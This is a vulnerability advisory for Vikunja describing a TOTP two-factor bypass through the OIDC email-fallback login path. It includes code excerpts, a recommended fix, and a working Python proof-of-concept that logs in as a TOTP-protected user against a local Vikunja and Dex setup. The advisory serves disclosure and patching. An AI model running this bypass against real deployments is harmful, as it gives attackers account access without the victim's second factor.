CVE-2026-34727

## Summary The OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped. ## Details The OIDC callback at `pkg/modules/auth/openid/openid.go:185` issues a JWT directly after user lookup: ```go return auth.NewUserAuthTokenResponse(u, c, false) ``` There are zero references to TOTP in the entire `pkg/modules/auth/openid/` directory. By contrast, the local login handler at `pkg/routes/api/v1/login.go:79-102` correctly implements TOTP verification: ```go totpEnabled, err := user2.TOTPEnabledForUser(s, user) if totpEnabled { if u.TOTPPasscode == "" { _ = s.Rollback() return user2.ErrInvalidTOTPPasscode{} } _, err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{ User: user, Passcode: u.TOTPPasscode, }) ``` When OIDC `EmailFallback` maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge. ## Proof of Concept Tested on Vikunja v2.2.2 with Dex as the OIDC provider. Setup: - Vikunja configured with `emailfallback: true` for Dex - Local user `alice` (id=1) has TOTP enabled ```python import requests, re, html from urllib.parse import parse_qs, urlparse TARGET = "http://localhost:3456" DEX = "http://localhost:5556" API = f"{TARGET}/api/v1" # verify TOTP is required for local login r = requests.post(f"{API}/login", json={"username": "alice", "password": "Alice1234!"}) print(f"Local login without TOTP: {r.status_code} code={r.json().get('code')}") # Output: 412 code=1017 (TOTP required) # login via OIDC (same flow as VIK-020 PoC) s = requests.Session() r = s.get(f"{DEX}/dex/auth?client_id=vikunja" f"&redirect_uri={TARGET}/auth/openid/dex" f"&response_type=code&scope=openid+profile+email&state=x") action = html.unescape(re.search(r'action="([^"]*)"', r.text).group(1)) if not action.startswith("http"): action = DEX + action r = s.post(action, data={"login": "alice@test.com", "password": "password"}, allow_redirects=False) approval_url = DEX + r.headers["Location"] r = s.get(approval_url) req = re.search(r'name="req" value="([^"]*)"', r.text).group(1) r = s.post(approval_url, data={"req": req, "approval": "approve"}, allow_redirects=False) code = parse_qs(urlparse(r.headers["Location"]).query)["code"][0] resp = requests.post(f"{API}/auth/openid/dex/callback", json={"code": code, "redirect_url": f"{TARGET}/auth/openid/dex"}) print(f"OIDC login: {resp.status_code}") user = requests.get(f"{API}/user", headers={"Authorization": f"Bearer {resp.json()['token']}"}).json() print(f"User: id={user['id']} username={user['username']}") # TOTP was completely bypassed ``` Output: ``` Local login without TOTP: 412 code=1017 OIDC login: 200 User: id=1 username=alice ``` Local login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge. ## Impact When an administrator enables OIDC with `EmailFallback`, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment. This vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing `email_verified` check). Together, they allow an attacker to bypass both the password and the TOTP second factor. ## Recommended Fix Add a TOTP check in the OIDC callback before issuing the JWT: ```go totpEnabled, err := user.TOTPEnabledForUser(s, u) if err != nil { _ = s.Rollback() return err } if totpEnabled { _ = s.Rollback() return echo.NewHTTPError(http.StatusForbidden, "TOTP verification required. Please use the local login endpoint.") } return auth.NewUserAuthTokenResponse(u, c, false) ``` --- *Found and reported by [aisafe.io](https://aisafe.io)*

Vikunja has TOTP Two-Factor Authentication Bypass via OIDC Login Path in code.vikunja.io/api. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: code.vikunja.io/api before v2.3.0.